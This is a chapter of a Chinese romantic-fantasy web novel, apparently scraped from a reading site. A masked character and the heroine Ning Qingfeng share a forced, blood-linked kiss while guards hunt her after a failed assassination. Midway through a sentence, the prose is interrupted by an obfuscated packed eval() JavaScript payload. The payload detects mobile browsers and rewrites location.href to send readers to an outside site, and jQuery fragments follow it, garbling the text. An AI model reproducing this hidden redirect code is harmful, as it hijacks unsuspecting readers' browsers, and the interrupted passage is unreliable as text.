25. 第 25 章
作品:《我和庶姐有个秘密》 虞青雪眸光一暗,掌心压过宁青风的后脑勺,不由分说地追逐上去。
宁青风无处可逃,口齿相交,意外碰出了血,疼痛让她一滞,这一瞬间,猎人终于缠住了他的猎物,狠狠咬出了宁青风的舌尖血。
前所未有的甘甜刺激着虞青雪的味蕾,又钻进他的心里,让他忍不住允了一下,再一下,快感顺着那舌尖血传遍全身,同时共感到宁青风身上。
宁青风全身一颤,身子瞬间软了下来。
她双眸迷离,唇间的肆虐让她快要呼吸不过来了,脸颊憋得通红,耳畔似能听到血液极速流动的声音,又疼又酸又痒,她濒临极致,不由自主地淌下泪来。
泪水沾过肆虐者的脸颊,终于有了一丝温柔。
就是这一丝温柔,她仿佛又听到了那人在说:
“别哭。”
一句温柔的话,带着一段深藏已久却从未褪色的记忆,淹没了她。
“别哭。”那人一身素净衣衫,从一墙之隔的太学而来,站在国子学欺凌现场,对着那唯一瘦弱的孩子,伸出了手:“别哭。”
那是小小孩子的宁青风,第一次见到云初。
七岁的宁青风,正因阿爹阿娘又一次出征而流泪,从家里哭到学堂,立刻被同窗袁海拦住了。
那人高马大的袁海总是针对她,看到她哭鼻子就说她是娘们,总是动手动脚。
小宁青风知道自己确实长得瘦小,更是少了其他男孩儿都有的“小雀儿”,很是自卑,在那刺耳的笑声中,她只能僵在原地,哭得更大声了。
同窗已习以为常,都漠然旁观。
只有云初,还不认识她是谁的云初、意气风发的少年、那一墙之隔的太学的神童,站了出来:“别哭,他们不值得你哭。”
小宁青风哽咽着抬眼,听他振振有词:“他打你不对你就打回去,这样懦弱的哭只会惹得人更想来欺负你。”
小宁青风不信:“可他们还会来。”
“若他们再来,你便再打。总有一天,他们见到你绕着你走,便是你赢了。”
她抬眼,那少年眉眼沉着,不骄不躁,说的仿佛只是最寻常不过、却从未有人同她说过的事实。
下一刻,袁海的拳头便砸到那少年脸上。
那一瞬间,小宁青风前所未有的愤怒,那一拳甚至比打在自己身上还要疼。
于是,小宁青风放开拳脚,第一次发狠了的打架。
阿娘说,她的拳头得用来护人,绝不能害人,可阿娘从没告诉过她,她的拳头也该保护自己。
幼年因她的顽劣弄丢了姐姐的阴影笼罩在她头顶多年,不能随心所欲的自警也成了框住她的牢笼。
可在那句“回击”的铿锵之言下,牢笼开始崩裂。
她的拳脚绝不差,力气也无人能及,那是她第一次赢了那群坏蛋,也赢了最重要的云初。
从那以后,她学会打最狠的架,绝不让自己委屈。
从那以后,云初成了她最好的朋友、最好的榜样,是她一生都要追寻的目标。
现在,她好像又看到他了。
舌尖血带着这份记忆传到虞青雪心头。又酸又涩,仿佛微凉秋日夹杂了一丝的苦杏味,这是虞青雪生平第一次感受到的全然陌生的情绪。
不同于热切迷恋所带来的灼热、贪欲、或强占的觊觎碾压。这样干净的情绪,竟让虞青雪不知所措。
他冷漠无澜的心,因此轻轻颤了一下。
并非宁青风的共感,而是源自虞青雪的心,他自己的,实实在在的悸动。
可他不明白这种悸动因为什么,也根本不明白那是什么情绪,但这并不阻挡他的烦躁,前所未有的烦躁。
又苦又涩的情绪顺着宁青风心头,如细泉源源不断传过来,和虞青雪的烦躁混杂在一起,酿出令他无法把控的暴怒。
虞青雪的虚弱正在消退,力量涌上来,眼眸逐渐恢复阴蛰冷暗,向下一扫,群虫避退,连白狐都跳退一丈,避之如洪水猛兽,转身逃命。
“嗨,原来是那狐狸。”
追兵唾弃一声,脚尖也跟着转向而去。
可若他们再前进一步,就能看到角落里抵唇相拥的二人。
厚厚的白雪将他们深陷进去,虞青雪身下有一道黑影,乖巧安静,被长发美人融入怀里,根本看不到面容,只有一双手缠过美人的臂,抓上他的肩背。
长袖挣扎中垂下,露出的手纤细白皙,骨质匀长,带着些微肉感,和如瀑的黑发交织出活色香艳的画卷。
可画卷中的美人没有香艳迤逦的心思,他的暴怒前所未有,隐隐有种无法控制的失序感,他的情绪正在逃离他的掌控,甚至身体某处,正在悄然发生变化。这是他未曾经历过的情况。
不可能。虞青雪烦躁想,他不可能生出那种心思,那种恶心的黏腻的……可他的目光无法控制地落到宁青风脸上。
脸颊还带着方才肆虐的后的薄红,长而浓密的眼帘微微颤动,湿漉漉的泪意润湿了纨绔一向张牙舞爪的脸,变得恬静柔和,乖软易碎,轻易便勾起人的破坏欲。
虞青雪呼吸一重,目光立刻被底下的鲜红吸引。被牙划破的唇瓣鲜艳夺目,勾出他自己也不知的隐秘心思,湿漉漉的润泽原来如此诱人,他甚至又闻到了方才允过的香甜,那滋味让他流连忘返,欲罢不能。
他还想要。
虞青雪无法抑制地向宁青风低头。
两道侧影越来越近,正要相交。宁青风睫毛一颤,睁开了眼。
内心却仍意识唤道:云初哥哥。
宁青风双目迷离,还处在半梦半醒的状态,没看清眼前人,脑中却一下子胀开一股酸意,像摔倒了醋坛子,酸得她发晕。
虞青雪愣在半空。他狠狠瞪向宁青风,这小东西居然敢把他认成别人——他已经忘了是他先假扮的那人——总之虞青雪是前所未有的委屈,前所未有的愤怒。那些酸楚促使他继续低头,带着发泄的意味,要从那芳泽中讨回他受到的损失。
“啪”一声脆响,美人脸上多了只红彤彤的掌印。
宁青风一下清醒了,终于看清眼前人,是魔鬼!
下意识伸了手。
宁青风从小力气就大。小小年纪就能一巴掌撂倒一个大人。这巴掌直接把虞青雪拍进了雪里,往雪坑里下沉好几寸。
这下变成了宁青风在高处,虞青雪在低处。
宁青风俯视那魔鬼,心有余悸,她还在做梦吗?那魔鬼方才看她的眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17076307|192234||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
神,灼热得像要将她吞噬,还像是要……亲她?!
宁青风呆愣在原地,满脸的不敢相信。
虞青雪毫不气馁,继续向她黏来,手自下而上揽住她的腰,下巴将将靠在她胸前,仰起的脸还带着若有似无的红印,眼尾晕开薄红,微挑的狐狸眼带着潋滟的水光,欲语还休,欲色勾人。
望向她的瞳仁,如摄人心魄的黑海,漆黑的眼底全是她,带着浓烈的欢愉和欲望,想要和她亲近。
【还要,我还要……】如情人间的低语,近得仿佛就在耳边。
莫名的心声钻入她的脑海,宁青风于晕沉中稍稍回神,虞青雪有说话吗?可她的唇分明没动。
虞青雪的唇形很美,此刻微张,带着迷离的欲望向她靠近。宁青风的目光落在她唇间的靡艳。
【不。】
她下意识地抗拒。还未出口,便被那心声阻拦。
【就一下,好不好……】
虞青雪黏腻的声音在她脑中呢喃,他的眼神烫得惊人,带着勾子,眼底浓烈的占有欲的叫人窒息。
宁青风只一眼便承受不住,猝不及防错开。
温热的唇瓣扫过她的唇角,随着她突然的仰头躲闪,最终烙在了她的喉间。
像被湿滑的蛇缠上,触感却滚烫至极。
烫得她心尖发颤,炽热浓烈的感情扑涌而来,就好像她被这个魔鬼全心全意爱着,这个猜测让她浑身战栗,抑制不住地泄出一声轻哼。
“呜……”
轻轻的闷哼,像小猫挠爪,勾得虞青雪最后一道防线崩溃,仰头见宁青风受惊瞪得圆溜溜的眼,眼睫还挂着泪珠,颤颤巍巍将落不落——一切情状,皆因他而起。
源源不断的欢愉感从心底涌上来,虞青雪知道那是咽下舌尖血带来的后果,可他控制不了自己。
明明从前可以抑制,为何偏偏在宁青风面前失了控?
虞青雪一边气急败坏,一边更加沉溺其中,从喉间一路吻上,执拗地追逐那一抹试图避他的鲜红。
宁青风拼命朝后躲去,张嘴就要大骂这得寸进尺的魔鬼。
舌尖刚动,尖锐的刺痛一下子打断了她的咒骂,舌尖像被什么玩意咬破了皮,嘴里弥漫开浓重的血腥味。
“那边好像有声音……”
追兵寻声而来,宁青风猛然回神,对了,她刺杀肃王,操纵虫蛇,却被反噬,她的刺杀失败了……她正被人追杀!
“怎么回事?”
不远处竟响起一道熟悉的声音。
宁青风脑子一蒙。
“大人,皇宫闯入刺客,有人要刺杀肃王……甚至皇上!”
“什么?”折安寻那孽障而来,不料得知这个消息,立刻道,“全城戒备,捉拿刺客!”
折大将军不打仗时,领过御龙诸直近身卫士的闲差,对宫中防卫可谓了如指掌,几下便将行动布置下去。以她阿娘的本事,直接将宁青风出长春园的路断了个干净!
宁青风顿时急成热锅上的蚂蚁。
绝对不能让阿娘找到她!
刺杀肃王的行动不能暴露,更不能让阿娘看到她和“姐姐”如今的模样——衣衫不整,面红耳赤纠缠在一块的模样,那真是有嘴都说不清了!

